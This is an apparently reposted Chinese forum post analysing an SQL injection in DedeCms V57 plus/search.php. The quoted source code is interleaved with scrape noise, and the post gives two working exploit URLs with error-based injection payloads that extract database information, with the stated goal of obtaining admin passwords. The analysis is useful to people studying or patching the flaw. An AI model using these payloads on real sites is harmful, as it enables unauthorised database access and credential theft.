中国网络渗透测试联盟
标题:
DedeCms V57 plus/search.php文件SQL注射
[打印本页]
作者:
admin
时间:
2013-1-19 08:18
标题:
DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
- D( h* c5 p$ A
作者:
c4rp3nt3r@0x50sec.org
4 t5 @$ e4 j' f3 Z6 [
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
+ n. l! ]) \, h; c9 _
1 f. U4 R1 b; P j
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
s) Q& U X0 Y% b
x! P! c% M2 R2 _8 Z; K
============
6 Z; Y! a o6 L* o8 z5 j0 v
1 N1 x d8 f. {$ Z+ D% J
5 [ `' ?( S! {# j: [2 Z
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
8 F* ], B, J( Y4 C3 t
7 G' b+ {+ T- v7 L
require_once(dirname(__FILE__).”/../include/common.inc.php”);
. O0 R: f' {& a
require_once(DEDEINC.”/arc.searchview.class.php”);
) |% J* x! }2 ^; o" J% H7 ?5 b/ v
& K/ C/ x9 l8 r7 x, Y2 ]
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
0 }6 H) a" E r- }
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
0 z' k" q E& a+ E+ [4 x; V; C
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
& O3 T \% E+ s
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
+ @* K" a9 }: c: e. ]9 R4 f/ w) h
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
9 E0 k/ t* K4 l
9 B% {. D: v" ~* V2 @, O: H2 _- q
if(!isset($orderby)) $orderby=”;
) h+ @' X& u3 z8 i
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
4 W: a7 d' N, ~& B' n" U
) q2 ^3 n0 P) I+ U& ^
0 A% I1 Q. c+ h, \- k
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
3 N, Q% g' V& W- ^+ u3 M
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
! {4 U" Q- |+ k) `6 {0 ?) P
{; M7 K4 p/ z y, E% `3 v8 _
if(!isset($keyword)){
0 X) L/ O- r6 ]
if(!isset($q)) $q = ”;
9 U$ P- f, o& R0 t3 V" M
$keyword=$q;
5 ], [5 J& M% E" Z2 [0 r- g; n9 @
}
$ j8 [8 }9 i, O# @
- B/ v+ k7 B9 \ ]; u
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
! X( n1 M4 ?/ }: n! F
3 H' s. }6 n0 s6 }
//查找栏目信息
3 Q; N; v' C1 X; Q+ f4 F1 @9 G
if(empty($typeid))
6 u" J6 s* m5 r3 l( @: ^
{
- d+ A* V4 v J7 p8 _- f: D( @( v
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
7 r: w% l9 f! L; B4 \9 K9 p
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
) ?4 I, N r7 m$ ?& N# e
{
3 I) a5 ?) [5 N" g
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
5 j! k m3 _. J" |. w) f
fwrite($fp, “<”.”?php\r\n”);
) k. y# H( w! t. I! y m* _
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
5 Z9 C" b5 G- i) u W. v
$dsql->Execute();
o6 c. z X- _
while($row = $dsql->GetArray())
, f+ _& X/ S% I, w3 `
{
, P" o+ J# R, g+ F7 A
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
% q; R( V9 p( I" W& |
}
1 M1 t8 e, N- P9 O9 k" j# y
fwrite($fp, ‘?’.'>’);
1 c6 O8 V/ [9 t, d
fclose($fp);
' }) v: V% _# J% e t9 }! G+ J/ U
}
; _8 f( W1 W9 Y" k1 i- ?
//引入栏目缓存并看关键字是否有相关栏目内容
' X5 O h$ g3 ~' `
require_once($typenameCacheFile);
, I8 A: r7 F' W, ^
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
5 T; M) z/ Z5 N, d/ l5 d7 W
//
6 U6 D/ c5 W( Q( u& N7 o2 ]7 w; _
if(isset($typeArr) && is_array($typeArr))
$ M' P3 `& z# ~+ d! E0 |
{
! f' Q6 E! u0 m) l- O
foreach($typeArr as $id=>$typename)
+ Q3 f" q% b; C/ N0 _$ A6 y
{
% ]( v% R1 ]4 b _+ O& t
4 K8 `" u6 J" H% v% R0 u6 j
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
2 U& @& u1 m' g8 v
if($keyword != $keywordn)
, z' y& C5 p1 D1 {5 X9 K* [
{
; ^+ I. d' E( B% R @3 v, ?7 k$ H
$keyword = $keywordn;
) q% W! c( `$ P( e
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
( m" _2 Y' s1 \ u1 \& } V) Y
break;
7 m+ B6 a. M% L1 P( t
}
4 q+ I, I% ^! r; V. {
}
4 v% }3 X. e5 M' h" G& q
}
) H/ }+ ?! m/ Q* H2 o0 n( \; ^2 e
}
7 H. U2 x( [1 c4 S" I& p$ H$ Y4 t- ~: l
然后plus/search.php文件下面定义了一个 Search类的对象 .
/ r, t/ H# Q4 C1 G
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
0 c2 O' B5 [, P! A3 r
$this->TypeLink = new TypeLink($typeid);
0 i2 F0 u( [. |* ]/ \2 H9 z
8 Y# @; V8 \. L. h0 n& {7 o/ T/ C
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
9 V* H, p" M T" p# s# m
- K" B3 ~- S6 D: `$ d
class TypeLink
4 j" {5 O0 A0 O; Z% ]* B; b+ z' B$ q9 s& Q$ Q
{
) B R5 q+ o. \* ]4 x
var $typeDir;
1 B/ ~9 S1 |# Y8 z5 [& i8 i
var $dsql;
. W9 J4 r V0 [" [$ q
var $TypeID;
1 A k% x. k4 }! F* U9 b
var $baseDir;
2 D8 `2 v9 f3 o0 K9 j
var $modDir;
; Y- `: _7 S: w- ?! r/ r! q, O- g
var $indexUrl;
: a p$ q# }" C& i+ ?) r
var $indexName;
8 r6 R) e* G8 [: e
var $TypeInfos;
# M/ A% a# ]/ q+ e6 L: I- c
var $SplitSymbol;
' [& ^' l# n" B
var $valuePosition;
6 j1 |: E$ V. B$ }
var $valuePositionName;
' u: `0 u' x0 D" b/ q, _' o# z
var $OptionArrayList;//构造函数///////
7 ^% |; e) ^( y$ L" l
//php5构造函数
+ h. J; \6 t: M+ M. x; R
function __construct($typeid)
; ]3 C( z1 q: w. S% X, P- p1 ?; B
{
+ V/ X, ^5 a3 B8 x: O4 D6 \
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
+ `! G+ w) }' ~) o
$this->indexName = $GLOBALS['cfg_indexname'];
7 w2 ]0 M! P+ k+ ^$ H
$this->baseDir = $GLOBALS['cfg_basedir'];
0 l& {9 b, M9 ^/ U3 f) b5 A K0 B
$this->modDir = $GLOBALS['cfg_templets_dir'];
1 z" g- c- r2 C, z/ {4 L
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
; ~. V8 r* U9 f# Y- l: w
$this->dsql = $GLOBALS['dsql'];
7 Y4 Z0 |6 W5 {! o/ _0 G* \
$this->TypeID = $typeid;
7 h0 N$ I8 v v( }* Z
$this->valuePosition = ”;
P, \" W/ `5 |3 R4 L3 v3 r3 r8 v! M
$this->valuePositionName = ”;
8 T! H8 g J. @+ D& T
$this->typeDir = ”;
/ ], G3 ^% x) a L
$this->OptionArrayList = ”;
; {8 T; Y o+ X' Q* W( }3 B
' q* ~, {* N6 u" _ W% z# L& r
//载入类目信息
6 K: J7 g. d( S
* `9 Z" m c0 v% N" i& S: f
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
4 v% P% @, Y& q/ _" |
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
% N* e, t# Q& g/ ]6 T2 U- t
`#@__channeltype` ch
0 T4 I, c8 A. ~* Z- F" `. t
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
+ m) T5 U+ q: p& }( h
4 I2 S0 D) X7 l8 @& _" W9 V
if($typeid > 0)
4 ?& E; w* b t$ H; W8 k' Z
{
9 `9 W$ X1 L# t
$this->TypeInfos = $this->dsql->GetOne($query);
. T5 w# ^4 E' f5 u5 U/ O2 C2 ^
利用代码一 需要 即使magic_quotes_gpc = Off
1 z: `# r/ B4 P# s
! H* l4 E8 g: F7 v3 B) p
www.political-security.com
/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
7 d- R* q; u2 @3 _
. A- B/ c& ]8 B; x. j4 m
这只是其中一个利用代码… Search 类的构造函数再往下
: _( h) V# H- Q: s2 u4 q
. {& e' [; Q: U- }
……省略
3 D- B( [+ U4 ?- ]
$this->TypeID = $typeid;
- a% @& c- n0 E2 @9 I; [
……省略
! l P g( q$ J9 K5 @- ] | o
if($this->TypeID==”0″){
" P+ @( |: z) w0 k
$this->ChannelTypeid=1;
* j7 l' p$ C& t" L+ |
}else{
b1 [- H" g/ g" l
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
9 w; E8 ^$ i* N( ^' L% P4 z
//现在不鸡肋了吧亲…
6 ]4 K9 x0 a' \# [) E7 v
$this->ChannelTypeid=$row['channeltype'];
# _( L6 R$ ~# y2 _
4 I4 ~9 i& c3 e0 _" [, P3 {! |
}
$ \' ~4 N7 n8 z, @5 [9 q2 {
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
- ^4 e+ B% X1 i8 B0 A
( m0 M5 I8 M u1 a0 Z
www.political-security.com
/plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
$ v% h4 W) m4 Y$ {% H5 n$ F. k! [
( b3 Q( p6 G$ g3 _, M' w6 P9 b
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
; j% ]& c$ h0 I( q2 s, r: O9 a
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2